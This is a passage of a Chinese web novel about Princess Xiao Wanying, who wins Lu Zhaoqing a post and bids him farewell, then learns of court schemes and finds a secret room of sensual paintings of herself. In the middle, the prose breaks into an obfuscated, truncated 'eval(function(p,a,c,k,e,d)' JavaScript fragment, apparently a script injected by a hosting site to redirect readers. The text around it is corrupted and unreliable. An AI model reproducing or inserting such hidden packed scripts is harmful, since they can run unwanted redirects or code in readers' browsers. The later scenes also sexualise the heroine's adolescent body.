“那是自然,他的衣食住行皆由卢家供应。” 萧晚滢厉色道:“那你可知他擅长什么?喜欢什么?又讨厌什么?” 卢明礼轻蔑了看了一眼卢照清,摇了摇头,“老夫自是了解他,他文不成,武不就,此子平平无奇,性格憨直,并无所长。” 他本就刻意忽视卢照清,偏疼长子和幼子,知道卢照清文不成武不就,不堪重用,便彻底地放弃了他。 连同桌吃饭都厌恶至极,哪里还能说出卢照清的好恶。 卢照清见父亲对着在场的所有文武百官面前贬低自己,他更是涨红了脸,低着头,身体微微发抖。 萧晚滢轻轻扯着他的衣角,温声说:“阿照,你也有过人之处,不要因为某人眼瞎,看不到你就否定了自己。” 萧晚滢睨了卢明礼一眼,朗声道:“卢照清他擅算术,他能设计出精妙的机关,甚至能改良设计兵器,兵部不正是需要他这样的人才吗?” 卢照清眼睛一亮,他从未对萧晚滢说过,她是怎么知道自己精于算术的? 他虽然写不出锦绣文章,但他的算术每次是同窗中的第一名。 只可惜无人赏识罢了。 “他精于木工,心灵手巧,技艺高超,雕刻的造诣远超寻常匠人,他这身本领可修渠架桥,造福百姓。” “卢明礼,如此你还觉得卢照清什么都不会,平平无奇吗?” 萧晚滢的一番话,让卢照清觉得浑身的血液都要沸腾了,身体里像有什么东西燃烧了起来。 他望着萧晚滢,清澈明亮的眼中难掩钦佩和爱意。 从来没有人对他说出那番话,他自小活在在父亲的轻视和冷脸中,他相貌平平,性子无趣,在父亲日复一日的贬低和失望的眼神中,已经接受了自己就是这样一个平庸之人。 直到萧晚滢的出现,她毫不掩饰对他的欣赏,甚至当众夸赞,为他出头。 卢照清此刻对萧晚滢的爱慕之意到达了顶点。 那说话时神采飞扬,毫不掩饰夸赞他的华阳公主,像是凿开他黑暗世界里的那道光。 “太子殿下到!” 萧晚滢转身回望,只见萧珩越过众人,径直走到萧晚滢的身边。 众人跪地,高呼,“参见太子殿下!” 萧晚滢走向前去,轻轻地抓住萧珩的衣摆,轻轻地摇着,同他撒娇,“太子哥哥,你觉得阿滢说的对嘛?” 她想为卢照清讨要官职。 萧珩自然明白,他本就有此想法,给卢照清一个为官的捷径,助他进兵部,以此作为他放弃萧晚滢的补偿。 众人看见一向对任何人都冷漠的太子,竟然对华阳公主笑着,温柔地说道:“阿滢说的对。兵部正需要卢照清这样的人。” 兵部最低品级的官职都是从五品大员。 即便是高中状元的卢湛,那也是先在翰林当编修,三年后才入了礼部,至今也是从五品,就连卢程打了多场胜仗,也在去年才提拔校尉。 卢相礼最不看好的儿子竟能进了兵部。 而最关键的是,常常冷着一张脸太子竟会因为华阳公主的一句话,就直接答应了给卢照官职。 这是何等的宠爱。 卢明礼突然激动地跪下了,“臣了解自己的儿子,卢照清远没有华阳公主说的那般厉害,次子粗鄙不堪,恐辜负殿下的厚爱,倒是臣的长子……” 萧珩却冷声打断了卢明礼的话。“来人!让太医院的张院判来给卢大人治治眼疾。” 17.第17章(入v公告) 萧晚滢欣喜说道:“阿照,还不快谢太子哥哥。你进了兵部,就有人赏识你了,只要立了功,整个洛京再没人再敢贬低轻看你。” 卢照清红了眼眶,眼中热泪盈眶,“公主殿下,你真好。” 是他见过的最好最好的人。 华阳公主就像太阳般耀眼,铭刻在了他的心里,见过这般惊艳之人,他想他一辈子都不会忘记。 萧晚滢很高兴,有才之人就应该被看见,被赏识。 卢照清的才华不该被埋没,大魏应该有让他展示才能的机会。 她又想到了赵澄,赵澄饱读诗书,满腹才学,自小立志报国,可一生坎坷,年少殒命。 若是她能救下赵澄,赵澄也会成为意气风发的少年郎,他也应该有机会入朝为官,拥有锦绣人生。 多希望这样的悲剧,不会再发生啊! 她颇为嫌弃地道:“别哭了,你这张脸本就不出众,哭起来就更丑了。” 卢照清被萧晚滢突如其来的真性情弄得有些哭笑不得。 华阳公主真是个复杂的、与众不同的人啊!她方才是真心为他出头,为他鸣不平,但也是真的嫌弃他。 真是傲娇又可爱。 卢照清擦了擦眼泪,认真地对萧晚滢道:“臣多谢公主大恩。” 萧晚滢却道:“你不必谢我,本宫帮你也有私心。” 虽然她欣赏卢照清,也是真心觉得他这个人不错,但她却从未想过要嫁给他,卢照清主动提出解除婚约,日后也免去这个麻烦。 比起成婚,她还有更重要的事要去做。 “好了,你也别伤感了,太子哥哥已经答应你去兵部任职。”她拍在卢照清的肩头,“你好好干,本宫盼着你能出人头地。” 卢照清想了想,觑着萧晚滢的脸色,小声地说道:“臣不想去兵部。” “你说什么?”萧晚滢只恐自己听错了,顿时便怒了,“怎么,你是觉得卢明礼说的对?连你自己都觉得是个没出息的人!” 她捏了捏拳头,想一拳捶在他的身上,“烂泥扶不上墙,可气死本宫了!” 卢照清看了一眼身穿男装,作俊秀公子打扮的萧晚滢,那长着两只毛茸茸小兔子面具还挂在腰间,此刻的华阳公主就像是一只会咬人的兔子,这般张牙舞爪的生动模样,真是又可爱极了。 卢照清笑了,华阳公主瞪了他一眼,卢照清吓得赶紧收敛了笑容。 而后退后一步,对着萧晚滢郑重一揖,“公主请息怒!方才公主的一番话,令臣十分触动,但臣不想去兵部,并非是臣觉得自己不行,觉得臣没用,而是臣记得公主说的一句话,公主觉得臣所擅长的能造福百姓。比起为兵部效力,臣更想去修渠架桥,想为百姓做事。” “今年两州大旱,饿殍遍野,难民无数,百姓活不下去了,这才集合起义反抗朝廷,若臣能利用毕生所学,修渠引水,以解旱灾时农田缺水,颗粒无收的困境。臣想,百姓有粮,便不会被人煽动起义,那大魏就不会再有战争。” “臣想四处行走考察,修渠引水,缓解旱灾。那样也不算愧对了公主和太子殿下的赏识。” 萧晚滢看向卢照清,眼前的少年依然看上去笨拙木讷,但他眼底的光芒,耀眼夺目。 “你真的决定要离开洛京?” 卢照清坚定地道:“是,臣已经决定了,明日就走。” 他鼓起勇气,突然拉着萧晚滢的手,跑上了玉湖桥。 上了那座桥,他指向夜空,霎时间只见无数星火在夜空中燃起。 像是夏日夜空中翩翩起舞的萤火,又像是璀璨绚烂的星光。 他自豪地对公主说道:“公主,你看。” “咱们的事儿成了!” 公主吩咐,让他用木鸢传信的方法,在洛京流传关于崔家的一则秘闻,他将字条塞进木鸢的腹中,木鸢身上装了机关,时间一到,字条从木鸢的口中弹射而出,无数字条从天空散落,而木鸢则会撞墙自毁。 而那些飞舞在空中的孔明灯,是他的贴身小厮所燃放,以此为号,告知他今夜的行动完成。 那些孔明灯上是他亲手为华阳公主写下的祝福。 那些灯无法到达宫墙,他对公主所有的心意只会在萧晚滢看不见的地方,默默地祝福。 今后他也会在大魏的任何一片土地上祝福公主,此生幸福安康,福泽绵延。 卢照清深情地看着萧晚滢,“臣愿公主得偿所愿!” 萧晚滢回头粲然一笑,眼中满满的都是对卢照清的欣赏,“本宫也祝阿照一路顺风!” 孔明灯升至天空,里面的烛火燃尽,孔明灯也被点燃,一团团火焰在天空绽放。 那一团团的热烈的火焰就像是卢照清那热烈的爱意。 就像烟火般绚烂,以最热烈的方式庆贺,他温柔地看着萧晚滢,默默地诉说着满腔的爱意。 萧晚滢仰望着夜空,看着那些孔明灯燃烧殆尽,在心中默念,“母后,生辰快乐!” 今夜过后,崔家的丑闻便会传遍整个洛阳城的大街小巷。 她的复仇之路才算真正完成了第一步。 卢照清恋恋不舍地看了萧晚滢,一想到今后相隔遥远,再难相见,便不禁感伤起来,几次张嘴,鼓起勇气才说出:“公主与臣的三妹同岁,公主今后可以把臣当成哥哥。” 萧晚滢果断拒绝:“不要。” “本宫不需要那么多哥哥。” 除了萧珩以外,其他的几位皇兄都不是什么好东西。 “那臣可以摸摸殿下的头吗?” 这一次,萧晚滢并没有拒绝,而是走到卢照清的面前,第一次面对卢照清低下了高贵的颈。 卢照清就像哥哥一样,轻轻地抚摸萧晚滢的头顶,轻抚着她柔软的发,眼角眉稍皆是不舍,“公主殿下,珍重!” 一颗眼泪至脸颊滑下,落在萧晚滢的脸侧。 萧晚滢突然踮起脚尖,抱住了卢照清。 卢照清一愣,用力地将萧晚滢拥进怀。 卢照清哽咽道:“公主殿下,万望保重身体,臣拜别殿下!” 之后行了个郑重的揖礼,挥手向萧晚滢道别。 他想,这一刻的画面,足以让他一生回忆。 待卢照清走下了那座石桥,萧晚滢冲他喊道:“阿照,一路保重!” 萧晚滢站在桥头,微风轻拂,衣袂飞扬。 明月高悬。 宛若翩翩欲飞的月中仙。 她不停地挥着手,直到卢照清的身影消失在夜色之中。 珍珠递过绢帕,宽慰道:“公主,别伤心了,您和卢公子还会再见面的。” 萧晚滢背过身去,暗暗擦拭眼角的泪,不想被人看见。“谁说本宫伤心了,他走了,本宫也省得为了弥补他而烦心。” “再说,又不是再也见不到了。” 就在玉湖桥的另一端,灯火燃尽之处,皇太子一袭白衣,一手撑伞,迈上石桥,若踏月而来的清冷仙人。 只是眉眼间冷若霜雪,眉心紧蹙。 珍珠本就胆小,对公主今夜的举动,心中十分忐忑,小声问道:“公主,太子殿下会不会已经知晓了今夜您的行动?” 萧晚滢冷静自若,“他迟早都会知道的。” 她也想知道太子会如何做。 会帮崔家杀她? 她想知道萧珩会在崔家和她之间如何取舍? 反正事已经做了,她便不会停,除非萧珩杀了她。 萧晚滢丝毫不惧,勇敢迎上前去。 突然,身后有人唤住了她,“萧晚滢,你和萧珩做下的那些肮脏之事,简直不知廉耻!” * 一个时辰前,淑妃崔澜坐在一间清净的六角凉亭中饮茶,红绡将梅花花瓣形状的点心从食盒中拿出,放在琉璃盏上,“奴婢按娘娘的方子,吩咐御厨将这点心改良了配方,娘娘您尝尝。” 崔澜只咬了一小口就放下了,“点心还是一样的点心,却再也没有当年的味道了。” 这处梅林遍种绿梅,花虽名贵,却没了与那人相见时的触动人心的感觉,更没了当年那个梅林中飘逸俊秀的白衣身影。 她起身,红绡赶紧为她披上披风,“娘娘,当心着凉。” 崔澜淡淡地道:“回去吧。” “淑妃娘娘可是忘了自己是崔家的人了吗?” 身后不知何时,站了一个人。 崔澜并未回头,而是攥紧了衣裙,“有崔相时刻提醒,本宫一刻都不敢忘。” “有人在暗中对付崔家,崔家若出事,淑妃在宫中便也会孤立无援,难道这就是淑妃娘娘想看到的结果?” “臣知道,淑妃如今收敛了性子,不再过问世事,与世无争,可刘贵妃呢?圣上其他的嫔妃呢?淑妃可有想过若崔家出事,淑妃如何才能自保?还有娘娘该想想六弟。” 当初,崔皇后疯了,崔家为了再送一个女儿进宫固宠,崔时右便以淑妃的胞弟要挟,胁迫她进了宫。 逼迫她接受了当一枚棋子的命运。 良久,崔澜终于开口道:“那崔相想要我做什么?” 崔时右笑道:“崔媛媛落到了刘贵妃手上,臣要你帮她,助她当上太子妃。” “好。” 待崔时右走后,崔澜从袖中拿出了那天崔媛媛送来的那幅太子所画的春日海棠图的临摹图。 崔媛媛告知她画中所藏的秘密,让她无论如何都要将这幅画中的秘密说与华阳公主知晓。 她这外甥女心眼子还挺多,还想要利用她,崔澜却一直未将这幅画交给萧晚滢。 红绡问道:“娘娘是打算亲自将这幅画交给华阳公主?” 崔澜摇了摇头,笑道:“今日我途经晨曦殿,不慎将此画遗失。” 红绡顿时便明白了淑妃的意思,顺势答道:“那这画势必会被三公主捡去。” 崔澜点头,笑道:“你再上门讨要,便说此画是从太子书房中带出,事关华阳公主,十分重要。” “再暗中让三公主身边的秦嬷嬷,让她将这画中的秘密告知三公主。” 红绡道:“娘娘此计甚妙,三公主因为华阳公主指错了路,擅闯听雨楼,冲撞了陛下,受了责罚,对华阳公主怀恨在心。她一定不会放过这么好的机会,选择将这个秘密公之于众。” 提起魏帝,崔澜皱了皱眉头,眼中难掩厌恶,“瞧着要下雨了,回宫吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时,萧晚滢心中恨恨地想,崔皇后天天折磨自己,就让她掐死她的亲儿子,让她后悔莫及。 当萧珩不再挣扎了,见到他那脸色苍白若血的濒死模样,萧晚滢突然良心发现,高声喊道:“儿臣参见父皇!” 崔皇后这才松了手,骤然清醒,见到一动不动地溺在水中的萧珩,发出一声尖叫声,捂着脸跑了出去。 萧珩这才捡回了一条命。 进了含璋殿,过往的回忆汹涌而至,胸口压抑非常。 她径直去往西边的那间名叫长相忆的院落,哪里就是她少时和太子生活的地方。 崔皇后被魏帝关了起来,不久就传出暴毙的消息。 后来母亲当上了皇后,她曾经被关在这里四年,母后担心她回到这里会有心里阴影,被册封皇后之后,迁宫凤仪殿。 含璋殿便一直空着。 此刻含璋殿中满院寂静,空无一人,花木残败,风吹起满地的落叶,落叶乱飞,眼前的景象分外萧索。 她少时常去萧珩的寝宫,知晓那里确有一间暗室。 她点亮了灯烛,走到床榻前,掀开被褥,轻拍左边第三块松动的床板,右边墙壁后突然开了一道石门。 她手执灯烛走了进去,她将那灯烛拿得更近了一些。 在那间石室突然被照亮的那一刻,萧晚滢看见了四面墙壁挂满了面,画上皆是一名女子。 女子浑身湿透,身体没入水中,宛若薄纱轻笼身体,可窥见春光。 露出水面的上半身,只穿了一件小衣,小衣上所绣正是那幅春日海棠图。 每一幅画都是那名女子,只不过是以不同的角度画出了那名女子的在水下的身姿。 或仰或卧,千姿百态。 萧珩画技出众,那一幅幅美人入浴图画的惟妙惟肖。 只是这些美人图皆没有脸,却更留有想象的空间,非世间少有的绝色容颜才能有如此窈窕婀娜的身姿。 旁人或许不知这些画到底是谁,但萧晚滢知道画中的女子正是她。 画中所记录的正是三年前的那个夜晚,她醉酒后来找萧珩,萧珩嫌弃她赃,将她扔进了浴桶中。 她因为醉得实在厉害,记不清那晚发生的事。 可眼前这一幅幅女子的画像,让她全都想起来了。 想起了那晚,到底发生了什么。 那夜,太子一手按住了乱动的她,冷着脸为她沐浴。 萧晚滢顿时羞愤不已,满脸通红,原来这就是萧珩的阴暗心思,这就是他藏在心底的秘密。 正在这时,一阵风吹过,书案上无数张画纸被吹得满室都是,那些画上的少女依然没有脸,只有那纤腰细细,略显青涩的,未发育完全的身体。 全都是她。 她想要逃离这令人窒息的地方,突然无数画纸朝她飞来,带起了一阵风,将她手中的烛火吹灭了。 顿时眼前变成了一片漆黑。 但她还是从刚才那阵诡异的风声中判断有人来了。